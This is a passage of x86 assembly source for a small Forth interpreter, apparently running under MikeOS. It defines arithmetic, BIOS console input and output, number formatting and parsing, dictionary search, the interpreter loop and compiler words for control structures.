HEADING 'DMAX' ; ( d1 d2 -- d )
dw colon
dw two_over, two_over, d_less
dw q_branch ; IF 1st < THEN SWAP
dw dmax1
dw two_swap
dmax1:
dw two_drop
dw EXIT
HEADING 'DMIN' ; ( d1 d2 -- d )
DMIN: dw colon
dw two_over, two_over, d_less
dw zero_eq, q_branch ; IF 1st >= THEN SWAP
dw dmin1
dw two_swap
dmin1:
dw two_drop
dw EXIT
HEADING '-LEADING' ; ( addr cnt -- addr' cnt' )
m_LEADING: dw colon
dw cfa_dup, zero, two_to_r
mld1:
dw OVER, c_fetch, blnk
dw cfa_eq, q_branch ; IF leading = space
dw mld2
dw SWAP, one_plus
dw SWAP, one_minus, do_branch
dw mld3
mld2:
dw leave_lp
mld3:
dw do_loop
dw mld1
dw EXIT
HEADING '0>' ; ( n -- f )
zero_greater: dw colon
dw zero, greater
dw EXIT
HEADING '3DUP' ; ( n1 n2 n3 -- n1 n2 n3 n1 n2 n3 )
three_dup: dw colon
dw cfa_dup, two_over, ROT
dw EXIT
HEADING 'ROLL' ; ( ... c -- ... )
dw colon
dw two_times, to_r, sp_fetch
dw eye, two_minus, plus_fetch
dw sp_fetch, cfa_dup, two_plus
dw r_from, backwards_cmove, DROP
dw EXIT
HEADING 'T*' ; ( d n -- t )
tr_times: dw $ + 2
mov [bp-2],si ; save thread pointer above 'R'
mov [bp-4],bx ; save user pointer - in case implemented
pop bx ; n
pop si ; d hi
pop di ; d lo
mov ax,di
mul bx ; n * lo
push ax ; bottom (lo) of tripple result
mov cx,dx
mov ax,si
mul bx ; n * hi
add cx,ax ; middle terms
adc dx,0
or si,si
jge tt1 ; correct unsigned mul by n
sub dx,bx
tt1:
or bx,bx
jge tt2 ; correct unsigned mul by d
sub cx,di
sbb dx,si
tt2:
push cx ; result mid
push dx ; result hi
mov bx,[bp-4] ; restore registers
mov si,[bp-2]
NEXT
HEADING 'T/' ; ( t n -- d )
tr_div: dw $ + 2
pop di ; n
pop dx ; hi
pop ax ; med
pop cx ; lo
push si
sub si,si
or di,di
jge td11
neg di ; |n|
inc si
td11:
or dx,dx
jge td12
dec si ; poor man's negate
neg cx ; |t|
adc ax,0
adc dx,0
neg ax
adc dx,0
neg dx
td12:
div di
xchg ax,cx
div di
or si,si ; sign of results
jz td13 ; 0 or 2 negatives => positive
neg ax ; dnegate
adc cx,0
neg cx
td13:
pop si
push ax
push cx
NEXT
HEADING 'M*/' ; ( d1 n1 n2 -- d )
dw colon
dw to_r, tr_times, r_from, tr_div
dw EXIT
; No User variables -- all treated as normal variables for single user system
HEADING 'SPAN' ; actual # chrs rcvd.
SPAN: dw create ; Normal variable
span1: dw 0
HEADING 'TIB' ; Text input starts at top of parameter stack
TIB: dw create
tib1: dw stack0
HEADING '#TIB'
num_tib: dw create
n_tib1: dw 0
HEADING 'T_FLG' ; serial transmit flags
dw create ; cvariable
tflg1: db 0
HEADING 'R_FLG' ; serial receive flags
rcv_flg: dw create ; cvariable
rflg1: db 0
; User / System variables
HEADING 'CONTEXT' ; ( -- a >> 2variable )
CONTEXT: dw create
dw VOC, 0
HEADING 'CURRENT' ; ( -- a >> 2variable )
CURRENT: dw create
dw VOC, 0
; Kept variable storage together to make PROTECT and EMPTY easier
HEADING 'HEADS'
HEADS: dw create ; 'Links to remember'
hds: times 16 dw 0
h1: dw very_end
last1: dw 0 ; LFA of last word defined
HEADING 'FENCE'
FENCE: dw create ; GOLDEN (protected)
links: times 16 dw 0
goldh: dw addr_end
goldl: dw GOLDEN_LAST
; Now setup access to array elements as a variable
HEADING 'H'
H: dw constant
dw h1
HEADING 'LAST'
LAST: dw constant
dw last1
HEADING 'BUF0' ; only disk buffer(s), for now
BUF0: dw create
buf0a: times 1024 db spc ; currently in FORTH seg
HEADING 'BUF1' ; break buffer into 2 pieces for IBM
dw constant
dw BUF0 + 512 + 2
HEADING 'PATH'
PATH: dw create
path1: db 'a:\' ; drive
path2: times 62 db spc ; path
db 0
HEADING 'FNAME'
FNAME: dw create
fname1: times 64 db spc ; name
db 0
HEADING "'ABORT"
dw create
abrt_ptr: dw QUT1
HEADING 'BASE'
BASE: dw create
base1: dw 10 ; decimal
T_BASE: dw create ; headerless variable
t_ba: dw 10
HEADING '>IN'
tin: dw create
tin1: dw 0
hndl1: dw 0 ; temporary store before transfer to handle
; used like BLK in normal systems
; minimum value should be 5, max = FILES - 1
qend1: dw 0 ; at end of file for loading
HEADING 'STATE'
STATE: dw create
state1: dw 0
HEADING 'HLD'
HLD: dw create
hld1 dw 0
HEADING 'RMD'
RMD: dw create
dw 0
HEADING 'ROWS'
dw create
max_rows: dw 0
; Include stored interrupt vector(s) for convenience
HEADING 'LINES'
dw create
max_col: dw 0
_mode: dw 0 ; video setup information
_page: dw 0
d_off: dw 0 ; save divide 0 vector here
d_seg: dw 0
sp_save: dw 0 ; save original SP
ss_save: dw 0
HEADING 'D_VER' ; DOS version for .com generate
D_VER: dw create
dver1: dw 0
HEADING 'ABORT'
ABORT: dw $ + 2 ; ( x ... x -- )
abrt: MOV sp,stack0 ; clear parameter stack
mov ax,[base1] ; reset temporary base to current
mov [t_ba],ax
sub ax,ax ; mark disk file as ended
mov [qend1],ax
push ax ; for parameter stack underflow
MOV si,[abrt_ptr] ; goto 'quit'
NEXT
HEADING 'SYSTEM'
SYSTEM: dw $ + 2
push es
mov cx,[d_seg] ; restore div 0 vector
mov dx,[d_off]
xor ax,ax ; interrupt segment and address of vector 0
mov es,ax
mov di,ax
mov [es:di],dx
mov [es:di+2],cx
mov dx,[sp_save]
mov ax,[ss_save]
pop es
cli ; restore original SP
mov sp,dx
mov ss,ax
sti
ret ; return to MikeOS
HEADING '!CURSOR' ; ( row col -- )
dw $ + 2
pop dx
pop ax
mov dh,al
call os_move_cursor
NEXT
HEADING '@CURSOR' ; ( -- row col )
get_cursor: dw $ + 2
call os_get_cursor_pos
sub ax,ax
mov al,dh
push ax
mov al,dl
push ax
NEXT
HEADING 'CLS' ; ( -- )
CLS: dw $ + 2
call os_clear_screen
NEXT
; Polled 'type'
; Bits 0-3 of T_FLG control transmission; Bit 0 => XON
HEADING 'TYPE' ; ( a n -- )
cfa_type: dw $ + 2
pop cx ; character count
pop di ; ds:di = data pointer
push bx ; some BIOS destroy BX, DX and/or BP
push bp
or cx,cx ; normally 1 to 255 characters, always < 1025
jle short ty2 ; bad data or nothing to print
ty1:
test byte [tflg1],0Fh ; output allowed? XON-XOFF
jne ty1
mov al,[di] ; get character
inc di
mov ah,0x0E ; print to screen, TTY mode
mov bh,[_page] ; ignored on newer BIOSs
mov bl,7 ; foreground, usually ignored
int 10h
loop ty1 ; do for input count
ty2:
pop bp
pop bx
NEXT
HEADING 'EMIT' ; ( c -- )
EMIT: dw $ + 2
pop ax
push bx ; some BIOS destroy BX, DX and/or BP
push bp
mov ah,0x0E
mov bh,[_page]
mov bl,7 ; foreground, usually ignored
int 10h
pop bp
pop bx
NEXT
HEADING '/0' ; heading for generate
dw $ + 2
div_0: ; divide zero interrupt
sub ax,ax
cwd
mov di,1 ; 80286 will repeat division !
iret
; TERMINAL -- NON-VECTORED
; Note: buffer must be able to contain one more than expected characters.
HEADING 'EXPECT' ; ( a n -- )
EXPECT: dw $ + 2
pop cx ; count
pop di ; buffer address
push bx ; some BIOS destroy BX, DX and/or BP
push bp
sub ax,ax
MOV [span1],ax
or cx,cx ; > 0, normally < 1025
jg exp_loop
jmp exp_end
exp_loop:
and byte [rflg1],7Fh ; clear special, b7
xor ax,ax ; BIOS input, no echo
int 16h
cmp al,0 ; extended/special ?
je exp1 ; yes
cmp al,0xE0
jne exp2
exp1:
or byte [rflg1],80h ; set special
mov al,1 ; get extended scan code in al
xchg al,ah
jmp short exp_store ; special cannot be a control
exp2: ; normal input, limited control processing
TEST byte [rflg1],1 ; (b0=raw) skip test specials ?
jnz exp_store
CMP al,bs ; <back space> ?
je exp5
CMP al,del ; <delete> ?
jne exp7
exp5:
TEST word [span1],7FFFh ; any chr in buffer ?
jnz exp6
mov dl,bell ; echo (warning) bell
jmp short exp_echo
exp6:
DEC word [span1]
INC cx
dec di
test byte [rflg1],10h ; b4, echo allowed ?
jnz exp10
mov bh,[_page]
mov bl,7 ; foreground, usually ignored
mov ax,0x0E08 ; BS
int 10h
mov ax,0x0E20 ; space
int 10h
mov ax,0x0E08 ; BS
int 10h
jmp short exp10
exp7:
CMP al,cr ; <cr> ?
jne exp9
sub cx,cx ; no more needed
mov dl,' ' ; echo space
jmp short exp_echo
exp9:
cmp al,lf ; <lf> ?
jne exp_store
mov al,' ' ; echo & store space
exp_store:
mov dl,al ; echo input
stosb
INC word [span1]
DEC cx
exp_echo:
test byte [rflg1],10h ; b4, echo allowed ?
jnz exp10
mov al,dl
mov ah,0x0E ; send to monitor
mov bh,[_page]
mov bl,7 ; foreground, usually ignored
int 10h
exp10:
jcxz exp_end
jmp exp_loop
exp_end:
sub ax,ax ; end input marker
stosb
pop bp
pop bx
NEXT
HEADING 'KEY' ; ( -- c >> high byte = end marker = 0 )
KEY: dw colon
dw rcv_flg, c_fetch, cfa_dup, one, cfa_or, rcv_flg, c_store ; set special
dw zero, sp_fetch, one, EXPECT ; ( rflg c )
dw rcv_flg, c_fetch, bite
db 80h
dw cfa_and, ROT, cfa_or ; extended receive &
dw rcv_flg, c_store ; echo flag maintained
dw EXIT
cfa_msg: dw colon
dw cfa_create, UNSMUDGE, sem_cod
msg:
db 232 ; call pushes execute PFA on parameter stack
dw does - $ - 2
dw COUNT, cfa_type
dw EXIT
; Generic CRT Terminal
HEADING 'BELL'
BELL: dw msg
db 1, bell
HEADING 'CR'
CR: dw msg
db 2, cr, lf
HEADING 'OK'
OK: dw msg
db 2, 'ok'
HEADING 'SPACE'
SPACE: dw msg
db 1, ' '
HEADING 'SPACES' ; ( n -- >> n=0 to 32767 )
SPACES: dw colon
dw cfa_dup, zero_greater, q_branch ; IF number positive
dw sp2
dw cfa_dup, zero, two_to_r
sp1:
dw SPACE, do_loop
dw sp1
sp2:
dw DROP
dw EXIT
HEADING 'HERE' ; ( -- h )
HERE: dw $ + 2
PUSH word [h1]
NEXT
h_p_2: dw colon ; ( -- h+2 )
dw HERE, two_plus
dw EXIT
HEADING 'PAD' ; ( -- a >> a=here+34, assumes full header )
PAD: dw $ + 2
mov ax,[h1]
ADD ax,34 ; max NFA size + LFA
push ax
NEXT
; Pictured Number output
HEADING 'HOLD' ; ( n -- )
HOLD: dw $ + 2
DEC word [hld1]
MOV di,[hld1]
pop ax
stosb
NEXT
dgt1: dw $ + 2 ; ( d -- d' c )
pop ax
pop cx
sub dx,dx
mov di,[base1] ; no overflow should be possible
DIV di ; just in case base cleared
xchg ax,cx
DIV di
push ax
push cx
CMP dl,10 ; dx = Rmd: 0 to Base
jc dgt2 ; U<
add dl,7 ; 'A' - '9'
dgt2:
add dl,'0' ; to ASCII
push dx
NEXT
HEADING '<#' ; ( d -- d )
st_num: dw colon
dw PAD, HLD, store
dw EXIT
HEADING '#' ; ( d -- d' )
add_num: dw colon
dw dgt1, HOLD
dw EXIT
HEADING '#>' ; ( d -- a n )
nd_num: dw colon
dw two_drop, HLD, fetch
dw PAD, OVER, minus
dw EXIT
HEADING 'SIGN' ; ( n d -- d )
SIGN: dw colon
dw ROT, zero_less, q_branch ; IF negative
dw si1
dw bite
db '-'
dw HOLD
si1:
dw EXIT
HEADING '#S' ; ( d -- 0 0 )
nums: dw colon
nums1:
dw add_num, two_dup, d_zero_eq
dw q_branch ; UNTIL nothing left
dw nums1
dw EXIT
HEADING '(D.)' ; ( d -- a n )
paren_d: dw colon
dw SWAP, OVER, DABS
dw st_num, nums
dw SIGN, nd_num
dw EXIT
HEADING 'D.R' ; ( d n -- )
d_dot_r: dw colon
dw to_r, paren_d, r_from, OVER, minus, SPACES, cfa_type
dw EXIT
HEADING 'U.R' ; ( u n -- )
u_dot_r: dw colon
dw zero, SWAP, d_dot_r
dw EXIT
HEADING '.R' ; ( n n -- )
dw colon
dw to_r, s_to_d, r_from, d_dot_r
dw EXIT
HEADING 'D.' ; ( d -- )
d_dot: dw colon
dw paren_d, cfa_type, SPACE
dw EXIT
HEADING 'U.' ; ( u -- )
u_dot: dw colon
dw zero, d_dot
dw EXIT
HEADING '.' ; ( n -- )
dot: dw colon
dw s_to_d, d_dot
dw EXIT
; String output
; ( f -- a n >> return to caller if true )
; ( f -- >> skip caller if false )
q_COUNT: dw $ + 2
MOV di,[bp+0] ; get pointer to forth stream
sub ax,ax
mov al,[di]
inc ax
ADD [bp+0],ax ; bump pointer past string
pop dx
or dx,dx
jnz cnt_1
JMP exit1
cnt_1:
dec ax ; restore count
inc di ; get address
push di
push ax
NEXT
; ( f -- >> return to caller if false )
abortq: dw colon
dw q_COUNT, h_p_2, COUNT, cfa_type
dw SPACE, cfa_type, CR
dw ABORT
dotq: dw colon
dw one, q_COUNT, cfa_type
dw EXIT
; 32-bit Number input
q_DIGIT: dw $ + 2 ; ( d a -- d a' n f )
sub dx,dx
pop di ; get addr
inc di ; next chr
push di ; save
mov al,[di] ; get this chr
cmp al,58 ; chr U< '9'+ 1
jc dgt4
cmp al,65
jc bad_dgt
SUB al,7 ; 'A' - '9'
dgt4:
SUB al,'0'
jc bad_dgt
CMP al,[t_ba]
jnc bad_dgt
cbw
push ax
INC dx
bad_dgt:
push dx
NEXT
D_SUM: dw $ + 2 ; ( d a n -- d' a )
pop di
pop dx
pop ax
pop cx
push dx
MUL word [t_ba]
xchg ax,cx
MUL word [t_ba]
ADD ax,di
ADC cx,dx
pop dx
push ax
push cx
push dx
NEXT
HEADING 'CONVERT' ; ( d a -- d' a' )
CONVERT: dw colon
dgt8:
dw q_DIGIT, q_branch ; IF
dw dgt9
dw D_SUM, HLD, one_plus_store
dw do_branch
dw dgt8
dgt9:
dw EXIT
HEADING 'NUMBER' ; ( a -- n, d )
NUMBER: dw colon
dw cell, -513, HLD, store ; max length * -1
dw cfa_dup, one_plus, c_fetch, bite ; 1st chr '-' ?
db '-'
dw cfa_eq, cfa_dup, to_r, q_branch ; IF, save sign & pass up
dw num1
dw one_plus
num1:
dw zero, cfa_dup, ROT ; ( 0. a' )
num2:
dw CONVERT, cfa_dup, c_fetch, cfa_dup ; ( d end chr[end] )
dw dclit
db 43, 48 ; chr[end] '+' to '/'
dw WITHIN, SWAP, bite
db 58 ; or ':' ?
dw cfa_eq, cfa_or, q_branch
dw num3
dw HLD, false_store, do_branch ; yes = double
dw num2
num3:
dw c_fetch, abortq ; word ends zero
db 1,'?'
dw r_from, q_branch ; IF negative, NEGATE
dw num4
dw DNEGATE
num4:
dw HLD, fetch, zero_less, q_branch
dw num5
dw RMD, store ; single = store high cell
num5:
dw BASE, T_BASE, XFER
dw EXIT
; Floppy variables
; Do NOT support DOS functions: Delete or Rename
; This construct turns a memory location into a "variable" that fits in other definitions
HEADING 'HNDL'
HNDL: dw constant
dw hndl1
HEADING '?END'
q_END: dw constant
dw qend1
HEADING 'FDSTAT'
FDSTAT: dw create
fdst1: dw 0 ; error flag, may be extended later
HEADING 'FDWORK'
FDWORK: dw create
fdwk1: dw 0 ; error, handle, or count low
fdwk2: dw 0 ; high word of count when applicable
HEADING ".AZ" ; ( a -- )
dot_az: dw colon
dw dclit ; print ASCII zero terminated string
db 64, 0
dw two_to_r ; DO
dp1:
dw cfa_dup, c_fetch, q_DUP
dw q_branch, dp2 ; IF
dw EMIT, one_plus
dw do_branch, dp3 ; ELSE
dp2:
dw leave_lp
dp3: ; THEN
dw do_loop, dp1 ; LOOP
dw DROP
dw EXIT
del_lf: dw $ + 2 ; ( a n -- )
pop cx
pop di
mov dx,di
jcxz dlf3
inc cx ; results of last comparison not checked
push cx
mov ax,200Ah ; ah = replacement = space, al = search = LineFeed
dl001:
repne scasb
jcxz dlf1
mov [di-1],ah
jmp dl001
dlf1:
pop cx
mov di,dx
mov al,09 ; remove tab characters
dl002:
repne scasb
jcxz dlf2
mov [di-1],ah
jmp dl002
dlf2:
cmp byte [di-1],26 ; eof marker
jne dlf3
mov [di-1],ah
dlf3:
NEXT
GET_DISK: dw colon ; ( a n -- )
dw BLANK, SPACE, ABORT
; Interpreter
do_wrd01: dw $ + 2 ; ( c a n -- a=here+2 )
pop cx
pop di
do_wrd02: ; Entry with just ( c -- ), DI & CX set
pop ax ; chr
push ax
push si ; execute pointer
ADD di,[tin1]
SUB cx,[tin1] ; number of chrs left
ADD [tin1],cx ; set pointer to end of input
SUB si,si ; set z flag
REP scasb ; del leading chrs
mov si,di ; save beginning
je wrd01 ; cx = 0 = no significant chrs
dec si ; back up to 1st significant chr
REPne scasb
jne wrd01 ; input ended in significant chr
dec di ; back up to last significant chr
wrd01:
SUB [tin1],cx ; back pointer to end this word
cmp byte [di-1],cr ; ends in <cr> ?
jne wrd02 ; yes = do not include in word
dec di
wrd02:
SUB di,si ; number chr in this word
MOV cx,di
MOV di,[h1]
inc di
inc di
mov dx,di ; adr = here + 2
push cx ; save count
MOV ax,cx
stosb ; counted string format
REP movsb ; count = 0 = do not move anything
sub ax,ax ; terminate with bytes 0, 0
stosw
pop cx
pop si ; retrieve Forth execute pointer
or cx,cx ; any chrs ?
jnz wrd03 ; yes = exit WORD
mov cx,[n_tib1] ; may be empty disk line
cmp cx,[tin1] ; any more ?
jg strm2 ; yes = try next word
wrd03:
pop ax ; remove test chr
push dx ; set here+2
JMP exit1
STREAM: dw $ + 2 ; ( c -- c )
MOV cx,[n_tib1]
mov di,[hndl1]
or di,di
jnz strm2 ; disk is active source
MOV di,[tib1] ; text input buffer [TIB]
strm1:
jmp do_wrd02 ; Skip GET DISK buffer & go directly to WORD
strm2:
mov di, buf0a ; disk buffer
mov ax,[tin1] ; still in buf0 ?
cmp ax,512
jl strm1 ; yes = get next word
test byte [qend1],0xff ; at end of file ?
jne strm1
mov dx,512
sub ax,dx ; fix pointers
mov [tin1],ax ; >IN
sub cx,dx
mov [n_tib1],cx ; #TIB
push di ; BUF0 for do_wrd01
push cx ; n=ctr, position
mov ax,di
add ax,512 ; buf1 = buf0 + 512
push ax ; BUF1 for get_disk
push dx ; count = 512
xchg si,ax
mov cx,256
rep movsw ; move 512 bytes from buf1 to buf0
mov si,ax ; restore FORTH exec pointer
NEXT ; ( c a=buf0 n=#tib a=buf1 cnt=512 )
HEADING 'WORD' ; ( c -- a )
cfa_word: dw colon
dw STREAM ; will go directly to do_wrd02
dw GET_DISK ; may abort ( c a0 n )
dw do_wrd01 ; EXIT not needed
; Dictionary search
HASH: ; ( na v -- na offset )
dw $ + 2
pop ax
AND ax,0Fh ; must have a vocabulary (1-15) to search, v <> 0
shl ax,1 ; 2* vocab, different chains for each
pop di
push di ; hash = 2 * vocab + 1st char of word
ADD al,[di+1] ; 1st char (not count)
AND al,1Eh ; (B_HDR - 2) even, mod 32 => 16 chains
push ax
NEXT
; Note - no address can be less than 0100h
FIND_WD: ; ( na offset -- na lfa,0 )
dw $ + 2
mov [bp-2],si ; temporary save XP - below return
pop di ; chain offset
pop ax ; address of counted string to match
push ax
ADD di, hds ; address of beginning of hash chain
push di
fnd1:
pop di ;
mov di,[di] ; get next link
push di ; last link in chain = 0
or di,di
jz fnd2 ; end of chain, not found
inc di ; goto count/flags byte
inc di
MOV cx,[di]
AND cx,3Fh ; count (1F) + smudge (20)
mov si,ax
CMP cl,[si]
jne fnd1 ; wrong count, try next word
inc di ; to beginning of text
inc si
REP CMPSB ; compare the two strings
jne fnd1 ; not matched, try next word
fnd2: ; exit - found or chain exhausted
mov si,[bp-2] ; restore execution pointer
NEXT
; LFA > 0100h (current lowest value is 0103h), can be used as "found" flag
; HEADING 'FIND' ; ( na -- cfa lfa/f if found || na 0 if not )
FIND: dw colon
dw CONTEXT, two_fetch ; ( na v.d )
find1: ; BEGIN
dw two_dup, d_zero_eq, cfa_not, q_branch ; WHILE, still vocab to search
dw find3
dw two_dup, zero, bite
db 16
dw tr_div, two_to_r, DROP, HASH, FIND_WD
dw two_r_from, ROT, q_DUP
dw q_branch, find2 ; IF found
dw m_ROT, two_drop, SWAP, DROP
dw cfa_dup, l_to_cfa, SWAP, EXIT
find2: ; THEN
dw do_branch ; REPEAT, not found yet
dw find1
find3:
dw two_drop, zero, EXIT ; not found anywhere
HEADING 'DEPTH' ; ( -- n )
DEPTH: dw $ + 2
mov ax,stack0
SUB ax,sp
sar ax,1
dec ax ; 0 for underflow protection
push ax
NEXT
q_STACK: dw colon
dw DEPTH, zero_less, abortq
db qsk2 - $ - 1
db 'Stack Empty'
qsk2:
dw EXIT
; Interpreter control - notice that this is not reentrant
; uses variables - #TIB, >IN & HNDL - to manipulate input (text or disk)
HEADING 'INTERPRET'
INTERPRET: dw colon
ntrp1: ; BEGIN
dw blnk, cfa_word
dw cfa_dup, c_fetch, q_branch ; WHILE - text left in input buffer
dw ntrp6
dw FIND, q_DUP, q_branch ; IF found in context vocabulary, process it
dw ntrp3
dw one_plus, fetch, zero_less ; Immediate flag in high byte for test
dw STATE, fetch, cfa_not, cfa_or
dw q_branch, nrtp2 ; IF Immediate or not compiling ( cfa )
dw EXECUTE, q_STACK, do_branch
dw ntrp5 ; ELSE compiling => put into current word
nrtp2:
dw comma, do_branch
dw ntrp5 ; THEN
ntrp3: ; ELSE try a number - may abort ( na )
dw NUMBER
dw STATE, fetch, q_branch ; IF compiling => put into current word
dw ntrp5
dw HLD, fetch, zero_less ; IF single precision (includes byte)
dw q_branch
dw ntrp4
dw LITERAL, do_branch ; ELSE double precision
dw ntrp5
ntrp4:
dw cell, dblwd, comma, comma, comma ; COMPILE dblwd
; THEN ; THEN
ntrp5: ; THEN
dw do_branch, ntrp1 ; REPEAT until stream exhausted
ntrp6:
dw DROP, EXIT ; Exit and get more input
HEADING 'QUERY'
QUERY: dw colon ; get input from keyboard or disk stream
dw TIB, fetch, L_WIDTH, EXPECT
dw SPAN, num_tib, XFER
dw zero_dot, tin, two_store
dw EXIT
R_RESET: dw $ + 2
MOV bp,first
NEXT
HEADING 'QUIT' ; ( -- )
QUIT: dw colon
QUT1: dw STATE, false_store ; start by interpreting user input
qt02: ; BEGIN
dw R_RESET, QUERY, INTERPRET
dw OK, CR
dw do_branch, qt02 ; AGAIN => Endless loop
; Note no Exit needed
; Vocabulary lists
HEADING 'ID.' ; ( lfa -- >> prints name of word at link addr )
id_dot: dw colon
dw l_to_nfa, cfa_dup, c_fetch, bite
db 1Fh
dw cfa_and, zero
dw two_to_r ; DO for len of word (some versions do not store whole word)
id1:
dw one_plus, cfa_dup, c_fetch ; ( adr chr )
dw cfa_dup, blnk, less, q_branch ; IF control character, print caret
dw id2
dw dotq
db 1,'^'
dw bite
db 64
dw plus
id2: ; THEN
dw EMIT
dw do_loop
dw id1 ; LOOP
dw DROP, SPACE, SPACE
dw EXIT
; Compiler
HEADING 'IMMEDIATE'
dw colon
dw LAST, fetch, l_to_nfa
dw cfa_dup, c_fetch, cell, 80h ; set bit 7 of the count-flag byte
dw cfa_or, SWAP, c_store
dw EXIT
HEADING 'ALLOT' ; ( n -- )
ALLOT: dw colon
dw SP0, OVER, HERE, plus, bite
db 178 ; full head(34) + pad(80) + min stack(64)
dw plus, u_less, abortq
db alt3 - $ - 1
db 'Dictionary full'
alt3:
dw H, plus_store, EXIT
HEADING 'C,' ; ( uc -- )
c_comma: dw colon
dw HERE, c_store, one, ALLOT
dw EXIT
HEADING ',' ; ( u -- )
comma: dw colon
dw HERE, store, two, ALLOT
dw EXIT
HEADING '?CELL' ; ( n -- n f,t=word )
q_CELL: dw colon
dw cfa_dup, bite
db -128
dw cell, 128
dw WITHIN, zero_eq
dw EXIT
IMMEDIATE
HEADING 'LITERAL' ; ( n -- )
LITERAL: dw colon
dw q_CELL, q_branch, lit1 ; IF
dw cell, cell, comma, comma ; COMPILE cell
dw do_branch, lit2 ; ELSE
lit1:
dw cell, bite, comma, c_comma ; COMPILE byte
lit2: ; THEN
dw EXIT
IMMEDIATE
HEADING 'COMPILE'
dw colon
dw blnk, cfa_word, FIND ; (cfa t || na 0)
dw cfa_not, abortq
db cmp1 - $ - 1
db '?'
cmp1:
dw LITERAL, sem_cod
COMPILE:
db 232 ; call executes comma (below)
dw does - $ - 2
dw comma ; puts CFA of next word into dictionary
dw EXIT
IMMEDIATE
HEADING "'" ; ( return or compile CFA as literal )
tic: dw colon
dw blnk, cfa_word, FIND ; ( na 0 || cfa lfa )
dw cfa_not, abortq
db 1,'?'
dw STATE, fetch, STAY
dw LITERAL, EXIT ; ( compiling => put in-line )
HEADING ']' ; ( -- >> set STATE for compiling )
r_bracket: dw $ + 2
mov ax,1
mov [state1],ax ; compiling
NEXT
IMMEDIATE
HEADING '[' ; ( -- )
l_bracket: dw $ + 2
sub ax,ax
mov [state1],ax ; interpreting
NEXT
HEADING 'SMUDGE'
SMUDGE: dw colon
dw LAST, fetch, l_to_nfa, cfa_dup
dw c_fetch, blnk ; set bit 5
dw cfa_or, SWAP, c_store
dw EXIT
HEADING 'UNSMUDGE'
UNSMUDGE: dw colon
dw LAST, fetch, l_to_nfa, cfa_dup
dw c_fetch, bite ; clear bit 5
db 0DFh
dw cfa_and, SWAP, c_store
dw EXIT
IMMEDIATE
HEADING ';'
dw colon
dw cell, EXIT, comma ; COMPILE EXIT
dw l_bracket, UNSMUDGE
dw EXIT
; Chains increase speed of compilation and
; allow multiple vocabularies without special code.
; User vocabularies can also have separate chains to keep definitions separate.
; 4 chains would be sufficient for a minimum kernel,
; but vocabularies would be limited to max. of 4
; 8 chains => maximum of 8 vocabularies, good for small systems
; 16 chains best choice for medium to large systems and for cross compiling
; 32 chains are marginally better for larger systems, but more is not always best
; Each vocabulary = nibble size => maximum number of 7 vocabularies,
; 15 (if pre-multiply*2)
; nibble in cell => maximum search path of 4 vocabularies
; dword => 8 nibbles => 8 search vocabularies
; Note: can "seal" portion of dictionary by eliminating FORTH from search string
HEADING 'VOCABULARY' ; ( d -- )
dw colon
dw cfa_create, SWAP, comma, comma, UNSMUDGE, sem_cod
vocabulary:
db 232 ; call
dw does - $ - 2
dw two_fetch, CONTEXT, two_store
dw EXIT
HEADING 'ASSEMBLER'
ASSEMBLER: dw vocabulary, 0012h, 0 ; search order is low adr lsb to high adr msb
HEADING 'EDITOR'
dw vocabulary, 0013h, 0
HEADING 'FORTH'
dw vocabulary, VOC, 0 ; VOC = 00000001
HEADING 'DEFINITIONS'
dw colon
dw CONTEXT, two_fetch, CURRENT, two_store
dw EXIT
HEADING ';code'
sem_cod: dw colon
dw r_from
dw LAST, fetch, l_to_cfa, store
dw EXIT
IMMEDIATE
HEADING ';CODE'
dw colon
dw cell, sem_cod, comma ; COMPILE ;code
dw r_from, DROP, ASSEMBLER
dw l_bracket, UNSMUDGE
dw EXIT
HEADING 'CVARIABLE'
dw colon
dw cfa_create, zero, c_comma, UNSMUDGE
dw EXIT
HEADING 'VARIABLE'
VARIABLE: dw colon
dw cfa_create, zero, comma, UNSMUDGE
dw EXIT
HEADING '2VARIABLE'
dw colon
dw VARIABLE, zero, comma
dw EXIT
IMMEDIATE
HEADING 'DCLIT' ; ( c1 c2 -- )
dw colon
dw cell, dclit, comma ; COMPILE dclit
dw SWAP, c_comma, c_comma ; reverse bytes here instead of
dw EXIT ; execution time!
HEADING 'ARRAY' ; ( #bytes -- )
dw colon
dw cfa_create, HERE, OVER
dw ERASE, ALLOT, UNSMUDGE
dw EXIT
; Compiler directives - conditionals
; Absolute [long] structures
; Short structures did not save that much space, longer execution time
; Note: the code contains 47 Forth ?branch (IF) statements
; 19 do_branch -- other conditionals such as THEN and REPEAT
; 9 normal loops, 3 /loops and 1 +loop
IMMEDIATE
HEADING 'IF' ; ( -- a )
cfa_if: dw colon
dw cell, q_branch, comma ; COMPILE ?branch
dw HERE, zero, comma
dw EXIT
IMMEDIATE
HEADING 'THEN' ; ( a -- )
THEN: dw colon
dw HERE, SWAP, store
dw EXIT
IMMEDIATE
HEADING 'ELSE' ; ( a1 -- a2 )
dw colon
dw cell, do_branch, comma ; COMPILE branch
dw HERE, zero, comma
dw SWAP, THEN, EXIT
IMMEDIATE
HEADING 'BEGIN' ; ( -- a )
dw colon
dw HERE
dw EXIT
IMMEDIATE
HEADING 'UNTIL' ; ( a -- | f -- )
dw colon
dw cell, q_branch, comma ; COMPILE ?branch
dw comma, EXIT
IMMEDIATE
HEADING 'AGAIN' ; ( a -- )
AGAIN: dw colon
dw cell, do_branch, comma ; COMPILE branch
dw comma, EXIT
IMMEDIATE
HEADING 'WHILE'
dw colon
dw cfa_if, SWAP
dw EXIT
IMMEDIATE
HEADING 'REPEAT'
dw colon
dw AGAIN, THEN
dw EXIT
; Switch Support - part 2 (compiling)
IMMEDIATE
HEADING 'SWITCH'
dw colon
dw cell, do_switch, comma ; COMPILE switch
dw cell, do_branch, comma ; COMPILE branch
dw HERE, cfa_dup, zero, comma
dw EXIT
IMMEDIATE
HEADING 'C@SWITCH'
dw colon
dw cell, c_switch, comma ; COMPILE c_switch
dw cell, do_branch, comma ; COMPILE branch
dw HERE, cfa_dup, zero, comma
dw EXIT
IMMEDIATE
HEADING '{' ; ( a1 a2 n -- a1 h[0] )
dw colon
dw comma, HERE, zero
dw comma, cfa_dup, two_minus, ROT
dw store, r_bracket
dw EXIT
IMMEDIATE
HEADING '}'
dw colon
dw cell, EXIT, comma ; COMPILE EXIT
dw EXIT
IMMEDIATE
HEADING 'ENDSWITCH'
dw colon
dw DROP, THEN
dw EXIT
; Compiler directives - looping
IMMEDIATE
HEADING 'DO' ; ( -- a )
dw colon
dw cell, two_to_r, comma ; COMPILE 2>R
dw HERE, EXIT
IMMEDIATE
HEADING 'LOOP' ; ( a -- )
dw colon
dw cell, do_loop, comma ; COMPILE loop
dw comma, EXIT
IMMEDIATE
